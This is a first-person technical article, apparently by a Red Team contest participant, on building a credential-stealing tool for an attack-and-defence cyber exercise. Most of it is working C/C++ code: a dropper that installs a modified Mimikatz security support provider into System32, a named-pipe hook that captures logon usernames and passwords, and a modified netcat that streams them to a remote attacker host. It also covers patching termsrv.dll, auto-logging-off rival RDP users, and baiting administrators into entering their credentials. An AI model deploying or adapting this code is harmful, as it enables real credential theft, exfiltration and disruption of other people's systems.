Back in 2024, I participated in the All-Russian Student Cyber Battle as part of Team8.
We managed to win then, and now I’d like to discuss an essential element of pre-contest preparations: offensive tools (i.e. utilities that make lives of Red Team members easier).
After playing around with Standoff a bit, I identified a few points to be taken into account in my program:
- frequent use of utilities designed to extract credentials from the system (e.g. Mimikatz); and
- regular conflicts between participants for shared resources (mainly RDP access to a remote host) since all participants use the same infrastructure.
The program was written ten days before the contest, and some of its solutions might seem not elegant to you. But under time pressure, it was the best I could do.
warning
This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
ListenYourHeart
The main purposes of this utility are:
(1) intercept and retransmit user credentials to a remote host in real time; and
(2) counteract (within the bounds of decency) against members of other Red Teams.
Since the program had to be developed within strict time limits, it was logical to create it on the basis of a ready-made open-source solution.

The program consists of five modules:
- LyH.cpp is the main module responsible for preparatory operations;
- mimilib.dll is a modified security support provider from the Mimikatz utility that intercepts user credentials;
- mefcat.exe is modified netcat that transmits user credentials to a remote host;
-
PatchTermSrv.exe is a script that patches
termsrv.
to enable the creation of multiple RDP sessions on the same host; anddll - KoH.bat is a script that automatically disconnects active RDP sessions.
Initialization
To be operational, the program requires certain environment. It’s provided by the dropp3r
class from the LyH.
module. Dropp3r
creates the temp
folder in the root of the C:
drive, loads files stored in the program executable file and registers the Security Support Provider in the system:
class dropp3r {public: dropp3r() = default; int createTempDirectory(); int dropRelations(); int loadProvider();};// Load required tools and dependenciesint dropp3r::dropRelations() { const std::string files[] = { "patchTerm.exe"s, "KoH.bat"s, "nc6.exe"s }; for (int i = 1; i < 4; i++) { HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(i), RT_RCDATA); if (!hRes) return ERR_NOT_FOUND; HGLOBAL hData = LoadResource(NULL, hRes); if (!hData) return RESOURCE_NOT_LOAD; void* pData = LockResource(hData); DWORD size = SizeofResource(NULL, hRes); std::string outPath = PATH + "\\"s + files[i - 1]; std::ofstream out(outPath, std::ios::binary | std::ios::out); if (!out) return NO_CREATE_FILE; out.write(static_cast<const char*>(pData), size); out.close(); } return 0;}// Load and register Security Support Provider in the systemint dropp3r::loadProvider() { HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(7), RT_RCDATA); if (!hRes) return ERR_NOT_FOUND; HGLOBAL hLoadedResource = LoadResource(NULL, hRes); if (!hLoadedResource) return RESOURCE_NOT_LOAD; void* pMim = LockResource(hLoadedResource); DWORD size = SizeofResource(NULL, hRes); LPWSTR packagePath = (LPWSTR)TEXT("c:\\windows\\system32\\mimilib.dll"); SECURITY_PACKAGE_OPTIONS spo = {}; HANDLE hMimilib = CreateFileW(packagePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD wrtn = 0; WriteFile(hMimilib, (LPCVOID)pMim,size, &wrtn, NULL); CloseHandle(hMimilib); std::cout<<"[dropp3r] Trying to add security package . . .\n"; SECURITY_STATUS ss = AddSecurityPackageW(packagePath, &spo); if (ss != SEC_E_OK) { if (ss == SEC_E_SECPKG_NOT_FOUND) { std::cout<<"[dropp3r] can't find mimilib [-]\n"; return ERR_NOT_FOUND; } else { std::cout << "[dropp3r] FAILED! [-]\n"; return ERROR; } } else { std::cout << "[dropp3r] SUCCESS! [+]\n"; } return 0;}
www
For more information on SSP/AP, see the article Insecurity provider. How Windows leaks user passwords.
Data transmission channel

After creating the environment, you have to set up a data transmission channel. This process involves three elements:
- SecuritySupportProvider that transmits data in raw form;
- mefcat (modified netcat) located on the victim side receives user credentials directly from SSP and transfers them to the remote host; and
- netcat on the attacker side receives credentials from mefcat.
Server
To connect mefcat to SSP, I decided to use named pipes and Windows Events due to the following reasons:
- pipe is a reliable data transfer channel. If errors occur, they can be easily tracked and localized; and
- global events are perfectly suited for process synchronization.
First, you have to establish a connection with the remote host (i.e. get a socket to interact with it). This is performed by the Listen3r
class from the LyH.
module. Its only function is to create the mefcat
process with the remote host address passed to it.
LyH.cpp
int listen3r::buildChannel(std::string IP,std::string PORT) { // ... std::string commandLine ="c:\\windows\\system32\\cmd.exe /c "s + PATH + "nc6.exe "s + IP + " "s + PORT; // ... if (CreateProcessA(NULL, (LPSTR)(commandLine.c_str()), NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi)) { SleepEx(5000, FALSE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else{ // ...
After getting a socket, you connect mefcat
to mimilib.
.
mefcat.c
// Named pipe used for communication between SSP and mefcat#define PIPE_NAME L"\\\\.\\pipe\\communicate"DWORD procCommunicate() { BOOL err = 0; // Create a global event to notify your SSP that mefcat is work-ready hEvent = CreateEventW(NULL,TRUE,FALSE,L"Global\\active"); if (hEvent == NULL) { DWORD err = GetLastError(); // If event has already been created, you get its handle if (err == ERROR_ALREADY_EXISTS) { hEvent = OpenEventW(EVENT_ALL_ACCESS, FALSE, L"Global\\active"); if (hEvent == NULL) { printf("Cannot create|open event. exiting...\n"); exit(-1); } } }/* Create a named data transmission channel; mefcat acts as a server that creates a named pipe and waits for connection from SSP */ hpPass = CreateNamedPipeW( PIPE_NAME, PIPE_ACCESS_DUPLEX , PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE |PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); if (hpPass == INVALID_HANDLE_VALUE) { printf("Error creating named pipe: %d\n", GetLastError()); return 1; } // Set event to a signaled state (i.e. notify SSP that you are ready) SetEvent(hEvent);waitConnect: printf("Zetting for a cl13nt to c0nn3ct...\n"); // Wait for connection to your SSP channel if (ConnectNamedPipe(hpPass, NULL) != TRUE && GetLastError() != ERROR_PIPE_CONNECTED) { printf("Error connecting to communicate channel: %d\n", GetLastError()); goto waitConnect; } printf("Client connected.\n"); // After connection, wait for credentials to be received from the SSP while (1) { if (err) exit(1); char buf[1024] = { 0 }; DWORD bytesRead; DWORD bytesWritten; // Receive data from SSP if (ReadFile(hpPass, buf, sizeof(buf), &bytesRead, NULL)) { printf("sending the leaked info to the host. . .\n");/* Send credentials to the netfd remote host — socket descriptor created by mefcat when connecting to remote host */ if (send(netfd, buf, bytesRead, 0) == SOCKET_ERROR) { // If remote host disconnects, then exit if (WSAGetLastError() == WSAECONNRESET || WSAGetLastError() == WSAECONNABORTED) { printf("remote host disconnected. . .\n"); err = 1; } } } else { if (GetLastError() == ERROR_BROKEN_PIPE) { // Close current connection; reconnect the listener DisconnectNamedPipe(hpPass); hpPass = NULL; printf("PIPE HAS BROKEN goto up :(\n"); goto waitConnect; } } } return 0;}
If the remote host closes the connection, the program terminates. However, the event must be set to a nonsignaled state to notify SSP that mefcat
and the connection as a whole aren’t operational. To do this, you register a callback function to be executed prior to program termination:
mefcat.c
BOOL WINAPI reset(DWORD event) { switch (event) { // Event: user closes the program case CTRL_CLOSE_EVENT: lastSignal(); return TRUE; default: return FALSE; }}void lastSignal() { if (hEvent != NULL) { // Set event to a nonsignaled state if (!ResetEvent(hEvent)) { DWORD err = GetLastError(); printf("error while setting event: %d", err); } }}int main(int argc, char** argv){ // Set up a callback function to be executed if the application terminates SetConsoleCtrlHandler((PHANDLER_ROUTINE)reset, TRUE); // ...}
Client
The server part of the connection is ready; let’s move on to the client. The client part is implemented inside the SSP in the form of the mimilib.
library.
When a user is authenticating, the SpAcceptCredentials
function is called from each registered SSP, and user’s credentials are passed to this functions. In Mimikatz, functions that log intercepted credentials to a file are called inside SpAcceptCredentials(
:
kssp.c
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials){ FILE *kssp_logfile;#pragma warning(push)#pragma warning(disable:4996) if(kssp_logfile = _wfopen(*kssp_logfile, L"a"))#pragma warning(pop) { // Functions that intercept credentials klog(kssp_logfile, L"%wZ\\%wZ (%wZ)\t",&PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName); klog_password(kssp_logfile, &PrimaryCredentials->Password); klog(kssp_logfile, L"\n"); fclose(kssp_logfile); } return STATUS_SUCCESS;}
Too bad, these functions work with the FILE
structure; while you have to write data to the handle
of a named pipe. Let’s write a custom klog_pipe
function that will play the role of a client.
First, you have to get the event handle, and then check its state and determine whether mefcat
is work-ready.
utils.c
int klog_pipe(PUNICODE_STRING Domain, PUNICODE_STRING downLevel, PUNICODE_STRING AccountName, PUNICODE_STRING Password) { DWORD bytesWritten = 0; BOOL active = FALSE; // If event isn’t created yet, create it and wait for mefcat to change the event state HANDLE hEvent = CreateEventW(NULL,TRUE,FALSE,L"Global\\active"); if (hEvent == NULL) { DWORD err = GetLastError(); if (err == ERROR_ALREADY_EXISTS) { // Get event handle hEvent = OpenEventW(EVENT_ALL_ACCESS,FALSE, L"Global\\active"); if (hEvent == 0) return -1; } } // WaitForSingleObject with zero timeout immediately returns the event state DWORD chkEvent = WaitForSingleObject(hEvent, 0); // Event in a signaled state? if (chkEvent == WAIT_OBJECT_0) { . . . else{ // If not, close event handle CloseHandle(hEvent); return 0;}
If mefcat
is work-ready, the main logic of the client part is implemented:
/* transactToPipe is in the global scope of the current file. This is required to ensure that your session with mefcat is saved with each new call to the SpAcceptCredentials function*/static HANDLE transactToPipe = INVALID_HANDLE_VALUE;if (chkEvent == WAIT_OBJECT_0) { // If you don't have a valid named pipe handle, get it if (transactToPipe == INVALID_HANDLE_VALUE) { transactToPipe = CreateFileW( L"\\\\.\\pipe\\communicate", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); } if (transactToPipe == INVALID_HANDLE_VALUE ) { return -1; } // Allocate memory for credentials wchar_t* data = calloc(sizeof(wchar_t) * 511, 1); // Copy credentials int ret = swprintf(data, 511, L"%s|%s\n", // Domain->Buffer, // Login and password are sufficient for me // downLevel->Buffer, AccountName->Buffer, Password->Buffer ); DWORD len = (DWORD)(wcslen(data)) * sizeof(wchar_t); // Transmit credentials to named pipe BOOL success = WriteFile( transactToPipe, data, len, &bytesWritten, NULL );/* Here the mefcat operating capability is checked. If it’s nonoperational, the pipe handle is closed. When the SpAcceptCredentials function is called again (provided that the event is in a signaled state!), you’ll get it again. */ if (!success) { DWORD err = GetLastError(); // If pipe is broken (i.e. mefcat is closed) if (err == ERROR_NO_DATA || err == ERROR_PIPE_NOT_CONNECTED || err == ERROR_BROKEN_PIPE) { // Close current connection handle CloseHandle(transactToPipe); // Instruct the function to create a new pipe handle transactToPipe = INVALID_HANDLE_VALUE; } } free(data); } // Prevent leak of event handles CloseHandle(hEvent); return 0;}
Now let’s add the klog_pipe
function inside kssp_SpAcceptCredentials
:
kssp.c
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials){ FILE *kssp_logfile;#pragma warning(push)#pragma warning(disable:4996) // Your function klog_pipe(&PrimaryCredentials->DomainName,&PrimaryCredentials->DownlevelName, AccountName, &PrimaryCredentials->Password); if(kssp_logfile = _wfopen(*kssp_logfile, L"a"))#pragma warning(pop) . . .
Voila! Now your program can ‘listen’ for credentials in real time and ‘whisper’ them to you.
Counteraction against other Red Teams
info
The code presented in this chapter doesn’t pretend to be elegant; however, I suggest reviewing it for better understanding of the offensive tool creation process.
When I was writing this code, my main goal was to play “king of the hill” with opponents — while knowing 100% that I am going to win. I didn’t want to delve deep into the RDP protocol; instead, I decided to use my humble experience.
I knew that termsrv.
(i.e. the library responsible for interaction with RDP connections) can be patched to enable multi-session RDP: several users would be able to work on the same host over RDP simultaneously — and they won’t get a pop-up notification that someone else is already working on this host.
Also, the qwinsta.
utility provides information about open RDP sessions; while the logoff.
utility terminates a specified RDP session.
The following operational sequence can be formed based on the above information:
- Create a user and add it to the “Administrators” group;
- Download
LyH.
to the computer; andexe - Run
LyH.
specifying the following parameters:exe --patch,
.--koh [ username]
As a result, users who log in will only have time to enter their passwords (that will be intercepted by LyH and transmitted to you), and then, instead of the desktop, they will immediately see the logout message…
info
In such situations, most users immediately start sending complaints to admins: “The workstation is down; dear admin, please fix it…” The admin tries to log in to your host, and you gain admin credentials as well…
Now let’s proceed to the technical aspect.
In this program, the kik3r
class from the LyH.
module is responsible for all the above-discussed functions. It simply executes two scripts as separate processes: patchTermSrv.
and KoH.
.
LyH.h
class kik3r {public: kik3r() = default; int patchMultiRDP(); // KoH.bat starts here int kick_off();};
LyH.cpр
int kik3r::patchMultiRDP() { std::cout << "[kik3r] trying to patch termsrv.dll for allowing multiple rdp client...\n"; STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; memset(&si, 0, sizeof(STARTUPINFO)); memset(&pi, 0, sizeof(PROCESS_INFORMATION)); if (CreateProcessA(NULL, (LPSTR)( (PATH + "\\patchTerm.exe"s ).c_str()), . . .
The first one is a powershell script from GitHub wrapped in the exe
format; it patches termSrv.
. The second one is a script stolen from the sysadmins website and adapted to my needs.
The script starts the qwinsta.
and logoff.
processes every second. Qwinsta tells logoff.
whether a new user has appeared in the system; if yes, logoff.
kicks this user out. Importantly, the process doesn’t affect the “king of the hill”.
The program source code and all its components are available in my GitHub repository.
Conclusions
Congrats! You have created your own ‘Frankenstein’: a new offensive tool composed of several slightly modified open-source projects.
In this article, I tried to cover pre-contest preparations from a new angle and demonstrate that you can always assemble something of your own to solve practical problems. This approach enables you to outmatch all your rivals; as military men say: “the harder the training, the easier the mission.”
Good luck!